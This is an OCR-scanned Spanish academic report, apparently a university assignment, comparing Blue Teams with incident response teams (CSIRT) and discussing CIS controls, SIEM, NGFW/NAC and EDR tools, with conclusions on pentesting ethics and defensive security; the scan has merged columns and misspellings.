ANALISIS SOBRE LAS DIFERENCIAS ENTRE EL EQUIPO DE BLUE TEAM Y
EL EQUIPO DE RESPUESTA A INCIDENTES INFORMATICOS

BLUE TEAM

Equipo de Respuesta a

Incidentes informéticos

Son equipos conformados por profesionales
y especialistas de la seguridad, con una
vision de las empresas y/o organizacion
tanto de adentro como hacia fuera de la
misma.

(CSIRT)
Son equipos de respuesta para
incidentes de seguridad creados
por comunidades
gubernamentales, estales,
privadas, financieros, militares, etc,
con el fin de ofrecer servicios
preventivos y reactivos ante un
incidente de seguridad a las
victimas de ciberataques en la red.

Su labor se centra en proteger los activos
de las compafias o empresas contra
cualquier tipo de amenaza. Entre sus
funciones esta reforzar el acceso a los
sistemas, introduciendo politicas estrictas,
educando a los miembros de las empresas
para su comprension y ajuste a los
procedimientos.

Realizan  evaluaciones de  riesgos
identificando la debilidades y amenazas que
pueden ser explotadas. Desarrolla planes
de accién para implementar y asi reducir la
materializacion de las amenazas.

Publica alertas de seguridad,
busca vulnerabilidades, realiza
auditorias de evaluacion de
seguridad, ofrece configuracion,
mantenimiento y desarrollo de las
herramientas de seguridad,
aplicaciones e infraestructura.

Los Blue Team usan gran variedad de
métodos y herramientas como
contramedidas para la proteccién de la red
de ataques cibernéticos. Entre ejercicios
llevados a cabo por el Blue Team tenemos

* Auditorias DNS, con el fin de prevenir
ataques de phishing, evitar DNS caducados
y la eliminacion de registros, entre otros.
* Instalar software de seguridad en los end
point, como portatiles, PCs, smartphones.
* Desplegar software IDS y IPS como
control, deteccidn y  prevencion.

Gestiona incidentes de seguridad y
vulnerabilidades cuando estas
estan presentes, coordinando,
analizando, dando respuesta y
soporte.
Brinda
hallazgos.
Permanentemente busca ser una
fuente de informacion con las
dltimas  novedades de |las
estrategias de ataque.

informacion de los
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* Implementar soluciones SIEM, para
correlacionar los logs de los distintos
dispositivos de seguridad IT.
* Andlisis de registros de memoria con el fin
de identificar actividades inusuales vy
localizar ataques.
* Uso de herramientas de vulnerabilidades
para su exploracion en las empresas
*Aseguramiento de sistemas mediante uso
de antivirus y antimalware.

ANALISIS SOBRE LA PERTINENCIA DE TRABAJAR CON CIS “CENTER FOR
INTERNET SECURITY” COMO PROPUESTA DE ASEGURAMIENTO POR
PARTE DE UN EQUIPO DE BLUE TEAM

La implementacion de estandares de mejores practicas siempre serd muy Util para
las organizaciones teniendo en cuenta que hay muchos expertos en el mundo
trabajando en minimizar el riesgo de ataques a la seguridad de la informacion. Sin
embargo, hay varias organizaciones dedicadas a documentar controles de
ciberseguridad que garantizan la proteccion de datos, por lo tanto, a la hora de
seleccionar alguno de estos estandares se debe tener muy en cuenta el nivel de
madurez de la compafiia en cuanto a seguridad defensiva.

El CIS tiene como objetivo mejorar los estandares de ciberseguridad en todos los
aspectos, por lo tanto, genera permanentemente iniciativas que implementadas a
tiempo se pueden adelantar a los atagues a los que estdn expuestas todas las
organizaciones a nivel mundial. La principal ventaja de que el blue team de una
companfia adopte CIS es que se puede identificar la evolucion del proceso de
implementacion, pues se puede iniciar con el grupo de controles basicos y
escalando de acuerdo con el tipo de organizacion, el nivel de madurez y el tamafio
de sus departamentos y unidades de negocio.

ANALISIS SOBRE LAS FUNCIONES Y CARACTERISTICAS PRINCIPALES DE
UN SIEM

SIEM (Security Information and Event Management), es un correlacionador de
eventos con visiéon global de las plataformas IT de una empresa y/o compaiiia, que
permite detectar, responder y neutralizar las posibles amenazas o tanques
cibernéticos. Entre sus funciones principales es realizar un analisis de seguridad en
tiempo real de los logs recibidos de distintos sistemas, disminuyendo el tiempo de
deteccion de ataques, detectando violaciones de seguridad, dando respuesta
automatica a eventos y amenazas, entre otras.
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El SIEM evita la complejidad de administrar la seguridad de las compafias cuando
estas crecen en elementos a proteger y monitorear. Es una herramienta Util para los
equipos blueteam y eficiente para los analisis forenses. Entre los beneficios permite
buscar y encontrar amenazas en registros archivados inactivos durante largo
periodos de tiempo dentro de una red, deteniendo amenazas desconocidas con el
apoyo del maching learning, bigdata y de la inteligencia artificial, evitando
filtraciones de datos y fallos en los procesos y sistemas.

En el mercado se puede encontrar una amplia variedad de soluciones SIEM, entre
los principales fabricantes IBM, Arcsight, Alien, Symantec, McAfee, Fortinet, etc..

La soluciones SIEM han ganado terreno en sus implementaciones toda vez que las
grandes empresas deben alinearsen al cumplimiento regulatorio como el Estandar
de Seguridad de Datos para la Industria de Tarjetas de Pago (PCl DSS), la
Regulacion General de Proteccion de Datos (GDPR), y Sarbanes-Oxley (SOX),
entre otras, obligando a las empresas implementar soluciones de deteccién de
amenazas y resolucion de respuesta rapida. Ademas de estos cumplimientos, el
crecimiento en la migracion de los servicios de las empresas a la nube ha permitido
evolucionar las soluciones de SIEM integrandose es su capacidad mediante APl y
fuentes de informacion en la nube.

INFORME DE ELECCION DE 3 HERRAMIENTAS QUE PERMITAN CONTENER
ATAQUES INFORMATICOS

Firewalls NGFW (Next Generation) - NAC ISE

Los firewall de Next Generation permiten detectar y contener las amenazas criticas
para rapidamente mitigar el riesgo gracias a sus sensores avanzados con los que
identifican cualquier tipo de malware en tiempo real. Estos firewalls cuentan con
funcionalidades de prevencion de intrusiones (NGIPS), y Proteccion avanzada
contra malware (AMP), security intelligence, etc. Estos firewalls estan preparados
para realizar tareas de inspeccion profunda, capaces de enfrentarse a amenazas
persistentes avanzadas (APT).

Su integracion con herramientas Network Access Control (NAC) y/o ISE Identity
Services Engine permite mediante instrucciones tomar acciones de contencion que
vas desde aislar el equipo end point de la red, hasta el envio a cuarentena de una
VLAN, esto depende de la gravedad de la amenaza definido por el indicador de
compromiso loC.

Implementacion de EDR (Endpoint Detection and Response)

Esta solucion de seguridad EDR, con administracién basa en la nube proporciona
automatizacion de la seguridad de los end-points actuando analiticamente en la
busqueda de amenazas y actuando a los tipos de ataques.
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3. CONCLUSIONES

Como especialistas de seguridad informéatica es de gran importancia conocer
las leyes y normas que rigen los delitos informéticos en Colombia toda vez
que se ejerce o se desarrolle un ethical hacking o investigacion en una
corporacion ya sea publica o privada.

El éxito de las fases del pentesting depende del proceso metodoldgico que
se realice cumpliendo con las regulaciones de la industria a la cual
pertenecen las organizaciones, sector financiero, salud, etc.

Los resultados de un pentesting ayudan enormemente a las organizaciones
a evaluar su madurez en las politicas y procedimientos de seguridad, como
también ofrece medidas para capacitar a los empleados en seguridad IT.

El descubrimiento de riesgos, vulnerabilidades y los posibles impactos
detectados en un ethical hacking ayuda a las empresas a tomar prontas
medidas de mitigacion y a evaluar los tiempos de respuesta ante un incidente
de seguridad.

Esta profesion expone a los ingenieros desde el inicio de la carrera a
diferentes pruebas de ética, pues a través del proceso de crecimiento
profesional y experiencia laboral se conocen muchos casos en los que
comparferos de trabajo han accedido a cometer actos ilegales con
repercusiones fatales, lo cual ha servido de ejemplo para generar
consciencia en las decisiones profesionales.

La temprana deteccién de amenazas y vulnerabilidades, previenen pérdidas
econdmicas, de reputacién y continuidad del negocio, cuando las compafiias
0 empresas se ven enfrentados ataques de denegacion o fuga de informacién
o ataques tipo ransomware del servicio de sus servidores de produccion.

La exploracion con las herramientas de intrusion y testing dejan al
descubierto muchas vulnerabilidades que los clientes ignoran y que también
tienen fuera de control.

La seguridad perimetral ya no es suficiente para controlar los ataques en una
actualidad globalizada, donde el cibercrimen esta muy organizado y se
enfocan en secuestrar la informacidon mas preciada de una compafia a
cambio de extorsién, pidiendo pago en bitcoins, como es el caso de los
ataques wanacry Ransomware.
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La informacion disponible para los expertos en seguridad informatica es
bastante amplia y accesible, por lo tanto, son cada vez mas las compafias
gue implementan herramientas, estandares, controles e infraestructura para
garantizar la proteccion y seguridad de su informacion, siendo este su activo
mas valioso.

El potencial de las herramientas especializadas en seguridad garantiza a un
Blue Team suficiente informacion para detectar vulnerabilidades e identificar
posibles fallos de seguridad y conocer las diferentes técnicas de ataque.

La organizacion debe conformar equipos estratégicos blue team que
permitan llevar soluciones de seguridad al continuo crecimiento de todo tipo
de ciberataques a nivel global.

El éxito del manejo de los incidentes de seguridad es el resultado de la
organizacion y la ejecucion de un Framework de manera metodologia, con el
fin de mitigar los riesgos y reducir las pérdidas ocasionadas por ciberataques.

Es importante trabajar en la concientizacion y educacion de los miembros de

las empresas en cuanto a la ciberseguridad y buenas practicas para no ser
facilmente atacados.
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4. RECOMENDACIONES

A través de la informacion compilada en este documento se evidencia la
amplia variedad de opciones disponibles que existen para que los
emprendedores y empresarios del pais fortalezcan la seguridad informética
de sus activos de informacion.

En base a los resultados obtenidos en el presente informe, se confirma la
gran utilidad de las herramientas disponibles para que los equipos Blue Team
y Red Team fortalezcan la seguridad de los activos de informaciéon de las
organizaciones, por lo tanto, esta informacion deberia estar cada vez mas
disponible para que también usuarios no expertos contemplen la posibilidad
de implementar estos equipos dentro de sus compaiiias.

Se pone a consideracion de la universidad UNAD, en el ejercicio de involucrar
a los estudiantes en escenarios de simulacion practica, usar este tipo de
informes para apoyar a los pequefios empresarios en su preparacion ante la
prevencion y defensa a ataques de seguridad, ya sea con el fin de generar
un impacto social promovido desde la academia o como sensibilizacién a los
estudiantes para que a través de ellos se genere este impacto.

Todas las organizaciones, sin importar su tamafo deberian tener un manual
de procedimientos y mejores practicas para garantizar la seguridad de sus
activos de informacion.

Los expertos deberian usar lenguaje cercano para explicar a empresarios y/o
usuarios no expertos la dimension de los riesgos de exponer sus activos de
informacién y la gran posibilidad de garantizar su seguridad a través de
estrategias Blue y Red Team.
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